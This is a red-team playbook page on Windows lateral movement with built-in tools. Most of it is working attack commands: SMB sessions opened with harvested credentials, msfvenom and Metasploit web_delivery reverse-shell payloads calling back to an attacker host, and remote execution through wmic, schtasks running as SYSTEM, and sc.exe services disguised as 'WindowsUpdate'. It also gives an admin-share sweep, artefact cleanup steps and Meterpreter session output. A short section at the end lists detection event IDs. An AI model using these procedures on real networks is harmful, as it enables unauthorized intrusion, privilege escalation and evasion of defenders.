Skip to main content

T1021 / T1047: Lateral Movement (LOL Methods)

Covers: T1021.002 - SMB/Windows Admin Shares, T1047 - WMI, T1021.006 - Windows Remote Management


Technique Requirements​

Privileges RequiredLocal Administrator on the target host
Effective PermissionsDepends on execution method - typically SYSTEM (WMI/service) or Administrator (SMB exec)
Triggered ByManual execution from attacker-controlled host or compromised pivot
Employment Complexity2/5 - Low
Detection Complexity2/5 - Low

Background​

Lateral movement is the process of using access on one host to gain access to additional hosts in the environment. After obtaining credentials via T1003 - OS Credential Dumping, an operator can authenticate to remote systems and execute commands or payloads using built-in Windows mechanisms - no custom tooling required on the target.

The lateral movement workflow always follows the same three phases:

AUTHENTICATE β†’ STAGE PAYLOAD β†’ EXECUTE REMOTELY
  1. Authenticate: Establish an authenticated session to the target using harvested credentials (password or NTLM hash). net use creates a persistent SMB session that subsequent commands can ride.
  2. Stage Payload: Copy a payload (EXE or PS command) to the target via the SMB admin share (C$, ADMIN$), or embed the command directly in the execution method (fileless).
  3. Execute Remotely: Use one of several built-in remote execution mechanisms to run the payload on the target.

Choosing an execution method:

MethodBinaryRuns AsRequiresBlend-in FactorNotes
WMI process creationwmic.exeUser that created the processRemote WMI enabledMediumCommand output not returned inline; fire-and-forget
Remote Scheduled Taskschtasks.exeConfigurable (SYSTEM possible)Task Scheduler serviceLowEasily auditable; good for persistence too
Remote Servicesc.exeSYSTEM by defaultAdmin share + service permsLowRequires SCM-compatible executable
PowerShell Remotingpowershell.exeInvoking userWinRM enabledMediumInteractive; returns output; best for enumeration
net use + copy + direct execnet.exe, cmd.exeInvoking userAdmin share accessibleLowBaseline; sets up SMB auth for all other methods

Prerequisite: Valid Credentials

All methods require credentials for a local Administrator account on the target. You need one of:

  • Plaintext password (from WDigest or other source)
  • NTLM hash (for Pass-the-Hash - works with net use /user only with plaintext; PTH is handled by impacket tools on Kali, not native Windows binaries)

For Pass-the-Hash from a Windows pivot, use the Meterpreter steal_token / incognito approach or route through impacket on Kali. Native net use requires plaintext credentials.


Procedures​

Phase 1: Establish Authenticated SMB Session​

This step authenticates to the target's admin shares over SMB. It underpins all subsequent file staging and most execution methods.

net use \\<TARGET_IP>\C$ /user:<DOMAIN_OR_HOST>\<USERNAME> <PASSWORD>

Domain account example:

net use \\192.168.1.20\C$ /user:CORP\jsmith Summer2024!

Local account example:

net use \\192.168.1.20\C$ /user:192.168.1.20\Administrator P@ssw0rd!

Verify the connection:

net use
dir \\192.168.1.20\C$
tip

If the target has UAC remote restrictions enabled (default on non-domain joined hosts), only the built-in Administrator account (RID 500) bypasses the restriction. Other accounts in the Administrators group will get Access Denied on remote admin shares even with the correct password. This is why the built-in Administrator hash from secretsdump is so valuable.


Phase 2: Stage the Payload​

Option A - Copy a pre-generated executable to the target:

Generate the payload on Kali and serve it, or copy directly from the authenticated SMB session:

# Generate on Kali:
ATTACKER_IP="<ATTACKER_IP>"
msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 \
-f exe -o payload.exe
python3 -m http.server 8080
# Download from target to target (via your existing session on the pivot host):
# Or copy directly from your mapped share:
copy \\<ATTACKER_SMB_OR_LOCAL_PATH>\payload.exe \\<TARGET_IP>\C$\Windows\Temp\payload.exe

Option B - Fileless (embed PS command directly in execution method):

Use the Metasploit web_delivery cradle as the command passed to the remote execution method. No file needs to land on the target.

# Configure listener on Kali:
msfconsole -x "use exploit/multi/script/web_delivery;
set SRVHOST 0.0.0.0;
set SRVPORT 8443;
set SSL true;
set target 2;
set payload windows/x64/meterpreter/reverse_https;
set LHOST 0.0.0.0;
set LPORT 443;
run -j;"

Copy the generated PowerShell one-liner. This becomes <PS_CRADLE> in the execution commands below.


Method 1: WMI Remote Process Creation (T1047)​

LOL binary: wmic.exe Effective permissions on target: The user account used to authenticate

WMI allows creating processes on a remote host via the Win32_Process class. The process runs on the target but its output is not returned - use this for fire-and-forget execution (launch a callback payload, not for commands where you need output).

Using a staged EXE:

wmic /node:<TARGET_IP> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create "C:\Windows\Temp\payload.exe"

Fileless (PS cradle directly):

wmic /node:<TARGET_IP> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create "powershell -nop -w 1 -c <PS_CRADLE>"

PowerShell equivalent (from a PS session on the pivot):

$cred = Get-Credential  # or build it manually:
$password = ConvertTo-SecureString "Summer2024!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\jsmith", $password)

Invoke-WmiMethod -ComputerName <TARGET_IP> -Credential $cred `
-Class Win32_Process -Name Create `
-ArgumentList "powershell -nop -w 1 -c <PS_CRADLE>"
note

WMI process creation spawns the process in Session 0 (the non-interactive system session). Interactive GUI applications won't render, but command-line processes and callbacks work normally.


Method 2: Remote Scheduled Task (T1053.005 Remote)​

LOL binary: schtasks.exe Effective permissions on target: Configurable - can run as SYSTEM

Remote scheduled tasks use the same schtasks binary as local tasks, with /s specifying the target host.

Create and immediately run a task (fileless):

schtasks /create /s <TARGET_IP> /u <DOMAIN>\<USERNAME> /p <PASSWORD> /tn "WindowsUpdate" /tr "powershell -nop -w 1 -c <PS_CRADLE>" /sc once /st 00:00 /ru SYSTEM /f

schtasks /run /s <TARGET_IP> /u <DOMAIN>\<USERNAME> /p <PASSWORD> /tn "WindowsUpdate"

Clean up the task after execution:

schtasks /delete /s <TARGET_IP> /u <DOMAIN>\<USERNAME> /p <PASSWORD> /tn "WindowsUpdate" /f
tip

Running the task as SYSTEM (/ru SYSTEM) gives you a SYSTEM-level callback regardless of the privilege level of the authenticating account, as long as that account has rights to create tasks on the target. This is one of the few lateral movement methods that can yield a SYSTEM session directly.


Method 3: Remote Service Creation (T1543.003 Remote)​

LOL binary: sc.exe Effective permissions on target: SYSTEM (default for new services)

sc.exe supports remote operation via a UNC target. The service executable must be staged first (Phase 2 Option A) - remote services cannot run inline commands directly without wrapping them. Use cmd.exe /c as the binPath to work around this.

Create and start a remote service (fileless via cmd wrapper):

sc.exe \\<TARGET_IP> create WindowsUpdate binPath= "cmd.exe /c powershell -nop -w 1 -c <PS_CRADLE>" start= demand
sc.exe \\<TARGET_IP> start WindowsUpdate

Clean up:

sc.exe \\<TARGET_IP> stop WindowsUpdate
sc.exe \\<TARGET_IP> delete WindowsUpdate
note

sc.exe remote operations use the existing authenticated SMB session from Phase 1. The space after binPath= and start= is required - this is a quirk of sc.exe syntax. The service will likely show an error in the Service Manager after execution because cmd.exe /c doesn't implement StartServiceCtrlDispatcher, but the payload will have already fired before the SCM reports the failure.


Method 4: PowerShell Remoting (T1021.006)​

LOL binary: powershell.exe Effective permissions on target: Invoking user's context Requires: WinRM enabled on target (enabled by default on Server SKUs, disabled on Workstation by default)

PowerShell Remoting returns interactive output - use this when you need to enumerate the target, run multi-step commands, or chain into further techniques rather than just dropping a callback.

Check if WinRM is reachable before attempting:

# Test WinRM port (5985 HTTP / 5986 HTTPS):
Test-NetConnection -ComputerName <TARGET_IP> -Port 5985

Enable WinRM on target remotely (requires existing SYSTEM/Admin execution on target - use Method 1 or 2 first):

wmic /node:<TARGET_IP> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create "winrm quickconfig -q"

Interactive remote session:

$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $password)
Enter-PSSession -ComputerName <TARGET_IP> -Credential $cred

Non-interactive remote command (returns output):

Invoke-Command -ComputerName <TARGET_IP> -Credential $cred -ScriptBlock {
whoami
ipconfig /all
net localgroup Administrators
}

Run a PS cradle payload remotely:

Invoke-Command -ComputerName <TARGET_IP> -Credential $cred -ScriptBlock {
Invoke-Expression "<PS_CRADLE>"
}

Phase 3: Clean Up​

After your lateral movement session is established, clean up artefacts on the target and your pivot host:

# Remove staged payload file (if used):
del \\<TARGET_IP>\C$\Windows\Temp\payload.exe

# Disconnect the SMB session:
net use \\<TARGET_IP>\C$ /delete

Verify no sessions remain:

net use

What to Expect​

After executing any of the above methods, your Metasploit listener catches the new session from the target host (not your pivot):

msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.20
[*] Meterpreter session 3 opened (0.0.0.0:443 -> 192.168.1.20:50912) at 2026-03-21 14:02:31

The source IP in the session will be 192.168.1.20 (the target), distinct from your pivot host. Verify you are on the correct host:

meterpreter > sysinfo
Computer : WORKSTATION02
OS : Windows 10 (10.0 Build 19044)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM # if WMI/service method used

Chaining across multiple hops: From the new session on the target, you can repeat the entire workflow - dump credentials, identify the next host, authenticate, and move again. Each hop gives you visibility into credentials and network context that were invisible from your initial foothold.

Confirming live hosts and open admin shares before moving:

Before burning credentials against a target, confirm it is alive and that the admin share is accessible:

# From your pivot - sweep the local subnet for SMB:
1..254 | ForEach-Object {
$ip = "192.168.1.$_"
if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
if (Test-Path "\\$ip\C$" -ErrorAction SilentlyContinue) {
"$ip - C$ accessible"
}
}
}

This avoids failed authentication attempts against offline or unreachable hosts, which generate noise in Security event logs.


Log Detection​

  • Source: Security
    • EventID:4624 (Successful logon)
      • Type 3 (Network) logon from your pivot IP to the target - look for Admin account logons from unexpected source hosts
    • EventID:4648 (Logon using explicit credentials)
      • Generated when net use or wmic /user: specifies credentials explicitly
    • EventID:4688 (Process creation - with command line auditing)
      • wmic.exe with /node: argument
      • schtasks.exe with /s argument
      • sc.exe with \\<hostname> argument
    • EventID:4698 (Scheduled task created remotely)
      • Contains task name, command, and source host
    • EventID:7045 (Service installed)
      • Contains service name and binary path
  • Source: Microsoft-Windows-Sysmon/Operational
    • EventID:1 (ProcessCreate)
      • wmic.exe, schtasks.exe, sc.exe, powershell.exe with remote execution arguments
    • EventID:3 (NetworkConnect)
      • Outbound SMB (port 445) connections from wmic.exe, schtasks.exe, sc.exe are anomalous
  • Source: Microsoft-Windows-WMI-Activity/Operational
    • EventID:5857 / 5860 / 5861
      • Remote WMI process creation activity